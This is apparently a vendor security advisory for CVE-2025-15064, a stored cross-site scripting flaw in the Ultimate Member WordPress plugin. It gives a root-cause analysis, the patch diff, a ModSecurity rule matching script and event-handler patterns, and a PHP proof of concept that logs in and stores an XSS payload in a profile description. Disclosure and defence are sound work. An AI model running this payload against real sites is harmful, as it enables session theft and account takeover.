Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 6, 2026

CVE-2025-15064: Ultimate Member <= 2.11.1 – Authenticated (Subscriber+) Stored Cross-Site Scripting via DOM Gadgets (ultimate-member)

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 2.11.1
Patched Version 2.11.2
Disclosed April 2, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-15064:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Ultimate Member WordPress plugin versions up to 2.11.1. The vulnerability affects the user description field when HTML support is enabled in plugin settings. Attackers with subscriber-level access or higher can inject arbitrary JavaScript payloads that execute when other users view the compromised profile pages. The CVSS score of 6.4 reflects the authentication requirement and potential impact on user sessions.

Atomic Edge research identified the root cause in the `sanitize()` method within `/ultimate-member/includes/core/class-form.php`. The vulnerable code at lines 844-864 and 983-1012 attempted to sanitize HTML content in user descriptions using a custom `wp_kses_user_desc()` filter. This filter dynamically modified allowed HTML tags but failed to properly restrict dangerous attributes and DOM event handlers. The function `wp_kses_user_desc()` at lines 1039-1065 attempted to extend the allowed HTML tags list, including iframe elements with potentially unsafe attributes.

The exploitation method requires an authenticated attacker with at least subscriber privileges. The attacker submits a crafted user description containing JavaScript payloads via DOM event handlers or unsafe HTML attributes. When the plugin’s ‘HTML support for user description’ setting is enabled, the insufficient sanitization allows the payload to persist in the database. The XSS executes whenever any user views the attacker’s profile page through Ultimate Member’s member directory or profile display components. The attack vector specifically targets the user description field submission endpoint, typically via profile update forms.

The patch replaces the vulnerable custom sanitization approach with WordPress’s built-in `wp_kses()` function using the ‘user_description’ context. In the patched version at lines 844, 965, and 976, the code now calls `wp_kses( strip_shortcodes( $form[ $k ] ), ‘user_description’ )` instead of the previous complex filtering logic. The patch also removes the entire `wp_kses_user_desc()` function (lines 1039-1065) since it’s no longer needed. This change ensures the plugin uses WordPress’s secure, maintained HTML sanitization for user-generated content.

Successful exploitation allows attackers to execute arbitrary JavaScript in the context of other users’ sessions. This can lead to session hijacking, account takeover, administrative actions performed by victims, data theft, and malware distribution. The stored nature means a single payload affects all users who view the compromised profile, creating persistent compromise across the WordPress site. While requiring subscriber access limits initial attack surface, many Ultimate Member installations allow public registration, making this vulnerability significant for community sites.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/ultimate-member/includes/admin/class-site-health.php
+++ b/ultimate-member/includes/admin/class-site-health.php
@@ -2130,11 +2130,11 @@
 						$debug_info[] = array(
 							'role'             => array(
 								'label' => __( 'User registration role', 'ultimate-member' ),
-								'value' => 0 === absint( get_post_meta( $form_id, '_um_register_role', true ) ) ? $labels['default'] : get_post_meta( $form_id, '_um_register_role', true ),
+								'value' => empty( get_post_meta( $form_id, '_um_register_role', true ) ) ? $labels['default'] : get_post_meta( $form_id, '_um_register_role', true ),
 							),
 							'template'         => array(
 								'label' => __( 'Template', 'ultimate-member' ),
-								'value' => 0 === absint( get_post_meta( $form_id, '_um_register_template', true ) ) ? $labels['default'] : get_post_meta( $form_id, '_um_register_template', true ),
+								'value' => empty( get_post_meta( $form_id, '_um_register_template', true ) ) ? $labels['default'] : get_post_meta( $form_id, '_um_register_template', true ),
 							),
 							'max_width'        => array(
 								'label' => __( 'Max. Width (px)', 'ultimate-member' ),
@@ -2220,7 +2220,7 @@
 						$debug_info[] = array(
 							'template'         => array(
 								'label' => __( 'Template', 'ultimate-member' ),
-								'value' => 0 === absint( get_post_meta( $form_id, '_um_login_template', true ) ) ? $labels['default'] : get_post_meta( $form_id, '_um_login_template', true ),
+								'value' => empty( get_post_meta( $form_id, '_um_login_template', true ) ) ? $labels['default'] : get_post_meta( $form_id, '_um_login_template', true ),
 							),
 							'max_width'        => array(
 								'label' => __( 'Max. Width (px)', 'ultimate-member' ),
@@ -2292,7 +2292,7 @@
 							),
 							'template'         => array(
 								'label' => __( 'Template', 'ultimate-member' ),
-								'value' => 0 === absint( get_post_meta( $form_id, '_um_profile_template', true ) ) ? $labels['default'] : get_post_meta( $form_id, '_um_profile_template', true ),
+								'value' => empty( get_post_meta( $form_id, '_um_profile_template', true ) ) ? $labels['default'] : get_post_meta( $form_id, '_um_profile_template', true ),
 							),
 							'max_width'        => array(
 								'label' => __( 'Max. Width (px)', 'ultimate-member' ),
--- a/ultimate-member/includes/admin/templates/directory/privacy.php
+++ b/ultimate-member/includes/admin/templates/directory/privacy.php
@@ -1,8 +1,19 @@
 <?php
+/**
+ * Metabox "Privacy Options" on wp-admin > Ultimate Member > Member Directories > Edit.
+ *
+ * @package umadmintemplates
+ *
+ * @var array   $box
+ * @var WP_Post $object
+ */
+
 if ( ! defined( 'ABSPATH' ) ) {
 	exit;
 }

+$_um_privacy_roles_value = get_post_meta( $object->ID, '_um_privacy_roles', true );
+
 $fields = array(
 	array(
 		'id'          => '_um_privacy',
@@ -26,7 +37,7 @@
 		'options'     => UM()->roles()->get_roles(),
 		'placeholder' => __( 'Choose user roles...', 'ultimate-member' ),
 		'conditional' => array( '_um_privacy', '=', '3' ),
-		'value'       => UM()->query()->get_meta_value( '_um_privacy_roles', null, 'na' ),
+		'value'       => empty( $_um_privacy_roles_value ) ? array() : (array) $_um_privacy_roles_value,
 	),
 );

--- a/ultimate-member/includes/ajax/class-pages.php
+++ b/ultimate-member/includes/ajax/class-pages.php
@@ -19,6 +19,9 @@
 	 */
 	public function __construct() {
 		add_action( 'wp_ajax_um_get_pages_list', array( $this, 'get_pages_list' ) );
+
+		add_action( 'wp_ajax_um_search_widget_request', array( $this, 'search_widget_request' ) );
+		add_action( 'wp_ajax_nopriv_um_search_widget_request', array( $this, 'search_widget_request' ) );
 	}

 	/**
@@ -98,4 +101,58 @@

 		wp_send_json( $return );
 	}
+
+	/**
+	 * AJAX callback for getting search widget redirect to a proper member directory page.
+	 */
+	public function search_widget_request() {
+		check_ajax_referer( 'um_search_widget_request' );
+
+		if ( ! UM()->options()->get( 'members_page' ) ) {
+			wp_send_json_error( __( 'No members page enabled', 'ultimate-member' ) );
+		}
+
+		$member_directory_ids = array();
+
+		$page_id = UM()->config()->permalinks['members'];
+		if ( ! empty( $page_id ) ) {
+			$member_directory_ids = UM()->member_directory()->get_member_directory_id( $page_id );
+		}
+
+		if ( empty( $member_directory_ids ) ) {
+			wp_send_json_error( __( 'No members page enabled', 'ultimate-member' ) );
+		}
+
+		$url = um_get_predefined_page_url( 'members' );
+
+		$search = isset( $_POST['search'] ) ? sanitize_text_field( $_POST['search'] ) : '';
+		if ( empty( $search ) ) {
+			wp_send_json_success( array( 'url' => $url ) );
+		}
+
+		// Current user priority role
+		$priority_user_role = false;
+		if ( is_user_logged_in() ) {
+			$priority_user_role = UM()->roles()->get_priority_user_role( get_current_user_id() );
+		}
+
+		foreach ( $member_directory_ids as $directory_id ) {
+			$directory_data = UM()->query()->post_data( $directory_id );
+
+			if ( isset( $directory_data['roles_can_search'] ) ) {
+				$directory_data['roles_can_search'] = maybe_unserialize( $directory_data['roles_can_search'] );
+			}
+
+			$show_search = empty( $directory_data['roles_can_search'] ) || ( ! empty( $priority_user_role ) && in_array( $priority_user_role, $directory_data['roles_can_search'], true ) );
+			if ( empty( $directory_data['search'] ) || ! $show_search ) {
+				continue;
+			}
+
+			$hash = UM()->member_directory()->get_directory_hash( $directory_id );
+
+			$url = add_query_arg( array( 'search_' . $hash => $search ), $url );
+		}
+
+		wp_send_json_success( array( 'url' => $url ) );
+	}
 }
--- a/ultimate-member/includes/core/class-form.php
+++ b/ultimate-member/includes/core/class-form.php
@@ -822,6 +822,7 @@
 		 * @return array $form
 		 */
 		public function sanitize( $form ) {
+			$submission_input = $form;
 			if ( isset( $form['form_id'] ) ) {
 				if ( isset( $this->form_data['custom_fields'] ) ) {
 					$custom_fields = maybe_unserialize( $this->form_data['custom_fields'] );
@@ -843,26 +844,7 @@
 											if ( ! empty( $field['html'] ) || ( UM()->profile()->get_show_bio_key( $form ) === $k && UM()->options()->get( 'profile_show_html_bio' ) ) ) {
 												$form[ $k ] = html_entity_decode( $form[ $k ] ); // required because WP_Editor send sometimes encoded content.
 												$form[ $k ] = self::maybe_apply_tidy( $form[ $k ], $field );
-
-												$allowed_html = UM()->get_allowed_html( 'templates' );
-												if ( empty( $allowed_html['iframe'] ) ) {
-													$allowed_html['iframe'] = array(
-														'allow'           => true,
-														'frameborder'     => true,
-														'loading'         => true,
-														'name'            => true,
-														'referrerpolicy'  => true,
-														'sandbox'         => true,
-														'src'             => true,
-														'srcdoc'          => true,
-														'title'           => true,
-														'width'           => true,
-														'height'          => true,
-														'allowfullscreen' => true,
-													);
-												}
-												$form[ $k ] = wp_kses( strip_shortcodes( $form[ $k ] ), $allowed_html );
-												add_filter( 'wp_kses_allowed_html', array( &$this, 'wp_kses_user_desc' ), 10, 2 );
+												$form[ $k ] = wp_kses( strip_shortcodes( $form[ $k ] ), 'user_description' );
 											} else {
 												$form[ $k ] = sanitize_textarea_field( strip_shortcodes( $form[ $k ] ) );
 											}
@@ -983,27 +965,7 @@
 							if ( ! empty( $custom_fields[ $description_key ]['html'] ) && $bio_html ) {
 								$form[ $description_key ] = html_entity_decode( $form[ $description_key ] ); // required because WP_Editor send sometimes encoded content.
 								$form[ $description_key ] = self::maybe_apply_tidy( $form[ $description_key ], $custom_fields[ $description_key ] );
-
-								$allowed_html = UM()->get_allowed_html( 'templates' );
-								if ( empty( $allowed_html['iframe'] ) ) {
-									$allowed_html['iframe'] = array(
-										'allow'           => true,
-										'frameborder'     => true,
-										'loading'         => true,
-										'name'            => true,
-										'referrerpolicy'  => true,
-										'sandbox'         => true,
-										'src'             => true,
-										'srcdoc'          => true,
-										'title'           => true,
-										'width'           => true,
-										'height'          => true,
-										'allowfullscreen' => true,
-									);
-								}
-								$form[ $description_key ] = wp_kses( strip_shortcodes( $form[ $description_key ] ), $allowed_html );
-
-								add_filter( 'wp_kses_allowed_html', array( &$this, 'wp_kses_user_desc' ), 10, 2 );
+								$form[ $description_key ] = wp_kses( strip_shortcodes( $form[ $description_key ] ), 'user_description' );
 							} else {
 								$form[ $description_key ] = sanitize_textarea_field( strip_shortcodes( $form[ $description_key ] ) );
 							}
@@ -1012,26 +974,9 @@

 					if ( ! $field_exists ) {
 						if ( $bio_html ) {
-							$allowed_html = UM()->get_allowed_html( 'templates' );
-							if ( empty( $allowed_html['iframe'] ) ) {
-								$allowed_html['iframe'] = array(
-									'allow'           => true,
-									'frameborder'     => true,
-									'loading'         => true,
-									'name'            => true,
-									'referrerpolicy'  => true,
-									'sandbox'         => true,
-									'src'             => true,
-									'srcdoc'          => true,
-									'title'           => true,
-									'width'           => true,
-									'height'          => true,
-									'allowfullscreen' => true,
-								);
-							}
-							$form[ $description_key ] = wp_kses( strip_shortcodes( $form[ $description_key ] ), $allowed_html );
-
-							add_filter( 'wp_kses_allowed_html', array( &$this, 'wp_kses_user_desc' ), 10, 2 );
+							$form[ $description_key ] = html_entity_decode( $form[ $description_key ] ); // required because WP_Editor send sometimes encoded content.
+							$form[ $description_key ] = self::maybe_apply_tidy( $form[ $description_key ], array() );
+							$form[ $description_key ] = wp_kses( strip_shortcodes( $form[ $description_key ] ), 'user_description' );
 						} else {
 							$form[ $description_key ] = sanitize_textarea_field( strip_shortcodes( $form[ $description_key ] ) );
 						}
@@ -1039,31 +984,7 @@
 				}
 			}

-			return $form;
-		}
-
-		public function wp_kses_user_desc( $tags, $context ) {
-			if ( 'user_description' === $context || 'pre_user_description' === $context ) {
-				$allowed_html = UM()->get_allowed_html( 'templates' );
-				if ( empty( $allowed_html['iframe'] ) ) {
-					$allowed_html['iframe'] = array(
-						'allow'           => true,
-						'frameborder'     => true,
-						'loading'         => true,
-						'name'            => true,
-						'referrerpolicy'  => true,
-						'sandbox'         => true,
-						'src'             => true,
-						'srcdoc'          => true,
-						'title'           => true,
-						'width'           => true,
-						'height'          => true,
-						'allowfullscreen' => true,
-					);
-				}
-				$tags = $allowed_html;
-			}
-			return $tags;
+			return apply_filters( 'um_sanitize_form_submission', $form, $submission_input );
 		}

 		/**
--- a/ultimate-member/includes/core/class-permalinks.php
+++ b/ultimate-member/includes/core/class-permalinks.php
@@ -27,12 +27,14 @@
 		 * Permalinks constructor.
 		 */
 		public function __construct() {
-			add_action( 'init',  array( &$this, 'set_current_url' ), 0 );
+			add_action( 'init', array( &$this, 'set_current_url' ), 0 );

-			add_action( 'init',  array( &$this, 'check_for_querystrings' ), 1 );
+			add_action( 'init', array( &$this, 'check_for_querystrings' ), 1 );

 			// don't use lower than 2 priority because there is sending email inside, but Action Scheduler is init on 1st priority.
-			add_action( 'init',  array( &$this, 'activate_account_via_email_link' ), 2 );
+			add_action( 'init', array( &$this, 'activate_account_via_email_link' ), 2 );
+			// Approve the user after the activate account link is verified.
+			add_action( 'um_approve_user_on_email_confirmation', array( &$this, 'approve_user_on_email_confirmation' ) );
 		}

 		/**
@@ -135,9 +137,25 @@
 				}

 				// Activate account link is valid. Can be approved below.
-
-				um_fetch_user( $user_id ); // @todo maybe don't need to fetch.
-				UM()->common()->users()->approve( $user_id, true );
+				/**
+				 * Fires for user activation after validation the link for email confirmation.
+				 *
+				 * Internal Ultimate Member callbacks (Priority -> Callback name -> Excerpt):
+				 * 10 - `UM()->permalinks()->approve_user_on_email_confirmation()` Approve the user after the activate account link is verified.
+				 *
+				 * @hook um_approve_user_on_email_confirmation
+				 *
+				 * @param {int} $user_id The user ID.
+				 *
+				 * @since 2.11.2
+				 *
+				 * @example <caption>Doing some code just after native approve the $user_id on email confirmation.</caption>
+				 * function my_approve_user_on_email_confirmation( $user_id ) {
+				 *     // your code here
+				 * }
+				 * add_action( 'um_approve_user_on_email_confirmation', 'my_approve_user_on_email_confirmation', 11 );
+				 */
+				do_action( 'um_approve_user_on_email_confirmation', $user_id );

 				$user_role      = UM()->roles()->get_priority_user_role( $user_id );
 				$user_role_data = UM()->roles()->role_data( $user_role );
@@ -161,7 +179,7 @@
 				 * function my_after_email_confirmation( $user_id ) {
 				 *     // your code here
 				 * }
-				 * add_filter( 'um_after_email_confirmation', 'my_after_email_confirmation' );
+				 * add_action( 'um_after_email_confirmation', 'my_after_email_confirmation' );
 				 */
 				do_action( 'um_after_email_confirmation', $user_id );

@@ -201,6 +219,18 @@
 		}

 		/**
+		 * Natively approve the user after validation of the email activation link.
+		 *
+		 * @param int $user_id
+		 *
+		 * @return void
+		 */
+		public function approve_user_on_email_confirmation( $user_id ) {
+			um_fetch_user( $user_id ); // @todo maybe don't need to fetch.
+			UM()->common()->users()->approve( $user_id, true );
+		}
+
+		/**
 		 * Makes an activate link for any user
 		 *
 		 * @return string
--- a/ultimate-member/includes/core/class-shortcodes.php
+++ b/ultimate-member/includes/core/class-shortcodes.php
@@ -1370,12 +1370,10 @@
 		}

 		/**
-		 * @param array $args
-		 * @param string $content
 		 *
 		 * @return string
 		 */
-		public function ultimatemember_searchform( $args = array(), $content = '' ) {
+		public function ultimatemember_searchform() {
 			if ( ! UM()->options()->get( 'members_page' ) ) {
 				return '';
 			}
@@ -1391,7 +1389,7 @@
 				return '';
 			}

-			//current user priority role
+			// Current user priority role
 			$priority_user_role = false;
 			if ( is_user_logged_in() ) {
 				$priority_user_role = UM()->roles()->get_priority_user_role( get_current_user_id() );
@@ -1405,7 +1403,7 @@
 					$directory_data['roles_can_search'] = maybe_unserialize( $directory_data['roles_can_search'] );
 				}

-				$show_search = empty( $directory_data['roles_can_search'] ) || ( ! empty( $priority_user_role ) && in_array( $priority_user_role, $directory_data['roles_can_search'] ) );
+				$show_search = empty( $directory_data['roles_can_search'] ) || ( ! empty( $priority_user_role ) && in_array( $priority_user_role, $directory_data['roles_can_search'], true ) );
 				if ( empty( $directory_data['search'] ) || ! $show_search ) {
 					continue;
 				}
@@ -1419,12 +1417,11 @@
 				return '';
 			}

+			$query        = array_filter( $query );
 			$search_value = array_values( $query );

 			$t_args = array(
-				'query'        => $query,
-				'search_value' => $search_value[0],
-				'members_page' => um_get_core_page( 'members' ),
+				'search_value' => ! empty( $search_value ) ? $search_value[0] : '',
 			);
 			return UM()->get_template( 'searchform.php', '', $t_args );
 		}
--- a/ultimate-member/includes/um-deprecated-functions.php
+++ b/ultimate-member/includes/um-deprecated-functions.php
@@ -462,11 +462,7 @@
 function um_get_search_form() {
 	//um_deprecated_function( 'um_get_search_form', '2.1.0', 'do_shortcode( '[ultimatemember_searchform]' )' );

-	if ( version_compare( get_bloginfo('version'),'5.4', '<' ) ) {
-		return do_shortcode( '[ultimatemember_searchform]' );
-	} else {
-		return apply_shortcodes( '[ultimatemember_searchform]' );
-	}
+	return apply_shortcodes( '[ultimatemember_searchform]' );
 }


--- a/ultimate-member/includes/widgets/class-um-search-widget.php
+++ b/ultimate-member/includes/widgets/class-um-search-widget.php
@@ -58,12 +58,7 @@
 		}

 		// display the search form
-		if ( version_compare( get_bloginfo('version'),'5.4', '<' ) ) {
-			echo do_shortcode( '[ultimatemember_searchform /]' );
-		} else {
-			echo apply_shortcodes( '[ultimatemember_searchform /]' );
-		}
-
+		echo apply_shortcodes( '[ultimatemember_searchform /]' );

 		echo $args['after_widget'];
 	}
--- a/ultimate-member/templates/members.php
+++ b/ultimate-member/templates/members.php
@@ -6,7 +6,7 @@
  *
  * Page: "Members"
  *
- * @version 2.11.1
+ * @version 2.11.2
  *
  * @var array $args
  */
@@ -343,13 +343,13 @@
 						<# _.each( data.filters, function( filter, key, list ) { #>
 							<div class="um-members-filter-tag">
 								<# if ( filter.type == 'slider' ) { #>
-									{{{filter.value_label}}}
+									{{filter.value_label}}
 								<# } else { #>
-									<strong>{{{filter.label}}}</strong>: {{{filter.value_label}}}
+									<strong>{{filter.label}}</strong>: {{filter.value_label}}
 								<# } #>
-								<div class="um-members-filter-remove um-tip-n" data-name="{{{filter.name}}}"
-									 data-value="{{{filter.value}}}" data-range="{{{filter.range}}}"
-									 data-type="{{{filter.type}}}" title="<?php esc_attr_e( 'Remove filter', 'ultimate-member' ) ?>">×</div>
+								<div class="um-members-filter-remove um-tip-n" data-name="{{filter.name}}"
+									 data-value="{{filter.value}}" data-range="{{filter.range}}"
+									 data-type="{{filter.type}}" title="<?php esc_attr_e( 'Remove filter', 'ultimate-member' ) ?>">×</div>
 							</div>
 						<# }); #>
 					<# } #>
--- a/ultimate-member/templates/searchform.php
+++ b/ultimate-member/templates/searchform.php
@@ -6,23 +6,18 @@
  *
  * Call: function ultimatemember_searchform()
  *
- * @version 2.6.1
+ * @version 2.11.2
  *
- * @var string $members_page
  * @var string $search_value
- * @var array  $query
  */
 if ( ! defined( 'ABSPATH' ) ) {
 	exit;
-} ?>
-
-<div class="search-form um-search-form" data-members_page="<?php echo esc_url( $members_page ); ?>">
-	<?php foreach ( array_keys( $query ) as $key ) { ?>
-		<input type="hidden" name="um-search-keys[]" value="<?php echo esc_attr( $key ) ?>" />
-	<?php } ?>
-	<div class="um-search-area">
-		<span class="screen-reader-text"><?php echo _x( 'Search for:', 'label' ); ?></span>
-		<input type="search" class="um-search-field search-field" placeholder="<?php echo esc_attr_x( 'Search …', 'placeholder' ); ?>" value="<?php echo esc_attr( $search_value ); ?>" name="search" title="<?php echo esc_attr_x( 'Search for:', 'label' ); ?>" />
-		<a href="javascript:void(0);" id="um-search-button" class="um-search-icon um-faicon um-faicon-search"></a>
+}
+?>
+<div class="um search-form um-search-form" data-nonce="<?php echo esc_attr( wp_create_nonce( 'um_search_widget_request' ) ); ?>">
+	<div class="um-form um-search-area">
+		<span class="screen-reader-text"><?php echo esc_html_x( 'Search for:', 'label', 'ultimate-member' ); ?></span>
+		<input type="search" class="um-search-field search-field" placeholder="<?php echo esc_attr_x( 'Search …', 'placeholder', 'ultimate-member' ); ?>" value="<?php echo esc_attr( $search_value ); ?>" name="search" title="<?php echo esc_attr_x( 'Search for:', 'label', 'ultimate-member' ); ?>" />
+		<a href="#" id="um-search-button" class="um-search-icon um-faicon um-faicon-search"></a>
 	</div>
 </div>
--- a/ultimate-member/ultimate-member.php
+++ b/ultimate-member/ultimate-member.php
@@ -3,7 +3,7 @@
  * Plugin Name: Ultimate Member
  * Plugin URI: http://ultimatemember.com/
  * Description: The easiest way to create powerful online communities and beautiful user profiles with WordPress
- * Version: 2.11.1
+ * Version: 2.11.2
  * Author: Ultimate Member
  * Author URI: http://ultimatemember.com/
  * License: GPLv3
@@ -34,7 +34,7 @@
 define( 'UM_PLUGIN', plugin_basename( __FILE__ ) );
 define( 'UM_VERSION', $plugin_data['Version'] );
 define( 'UM_PLUGIN_NAME', $plugin_data['Name'] );
-define( 'UM_WP_FUNCTIONS_VERSION', '6.8.0' ); // Updates every major WordPress release.
+define( 'UM_WP_FUNCTIONS_VERSION', '6.9.0' ); // Updates every major WordPress release.
 define( 'UM_LICENSE_REQUEST_DEBUG', false ); // Set true then need to debug the license request.
 define( 'UM_UPDATER_DEBUG', false ); // Set true then need to debug the upgrade packages.
 // define( 'UM_DEV_MODE', true );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2025-15064
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:100015064,phase:2,deny,status:403,chain,msg:'CVE-2025-15064 Ultimate Member Stored XSS via profile update',severity:'CRITICAL',tag:'CVE-2025-15064',tag:'WordPress',tag:'Ultimate-Member',tag:'XSS'"
  SecRule ARGS_POST:action "@streq um_update_profile" "chain"
    SecRule ARGS_POST:description "@rx (?i)(onw+s*=|javascript:|<s*iframe|<s*script|<s*img[^>]*srcs*=s*[^>]+on|<s*a[^>]*hrefs*=s*["']?javascript:)" 
      "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-15064 - Ultimate Member <= 2.11.1 - Authenticated (Subscriber+) Stored Cross-Site Scripting via DOM Gadgets

<?php

$target_url = 'https://vulnerable-site.com';
$username = 'attacker_user';
$password = 'attacker_password';

// Step 1: Authenticate to obtain WordPress cookies
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Get login page to obtain nonce/redirect parameters
$response = curl_exec($ch);

// Step 2: Submit login credentials
$post_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);

// Step 3: Verify authentication by accessing profile page
$profile_url = $target_url . '/wp-admin/profile.php';
curl_setopt($ch, CURLOPT_URL, $profile_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

if (strpos($response, 'Dashboard') === false) {
    die('Authentication failed');
}

// Step 4: Extract Ultimate Member profile update nonce
// Ultimate Member typically uses its own profile update endpoint
// This requires finding the correct form action and nonce
$um_profile_url = $target_url . '/user/attacker_user/';
curl_setopt($ch, CURLOPT_URL, $um_profile_url);
$response = curl_exec($ch);

// Parse for Ultimate Member update nonce - pattern varies by installation
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';

// Step 5: Craft XSS payload for user description field
// Using DOM event handler that bypasses basic HTML sanitization
$xss_payload = '<img src=x onerror="alert(document.cookie)" />';

// Alternative payload using iframe with JavaScript URI
// $xss_payload = '<iframe src="javascript:alert(`XSS`)"></iframe>';

// Step 6: Submit payload to Ultimate Member profile update endpoint
// Ultimate Member uses various endpoints; common pattern is admin-ajax.php
$update_url = $target_url . '/wp-admin/admin-ajax.php';
$update_data = array(
    'action' => 'um_update_profile',
    '_wpnonce' => $nonce,
    'user_password' => '',
    'confirm_user_password' => '',
    'user_email' => 'attacker@example.com',
    'description' => $xss_payload, // Vulnerable field
    'um_update_profile' => '1'
);

curl_setopt($ch, CURLOPT_URL, $update_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($update_data));
$response = curl_exec($ch);

// Step 7: Verify payload was stored
curl_setopt($ch, CURLOPT_URL, $um_profile_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

if (strpos($response, 'onerror') !== false || strpos($response, 'javascript:') !== false) {
    echo 'XSS payload successfully stored in user descriptionn';
    echo 'Visit ' . $um_profile_url . ' to trigger executionn';
} else {
    echo 'Payload may not have been accepted. Check if HTML support is enabled in Ultimate Member settings.n';
}

curl_close($ch);
unlink('cookies.txt');

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School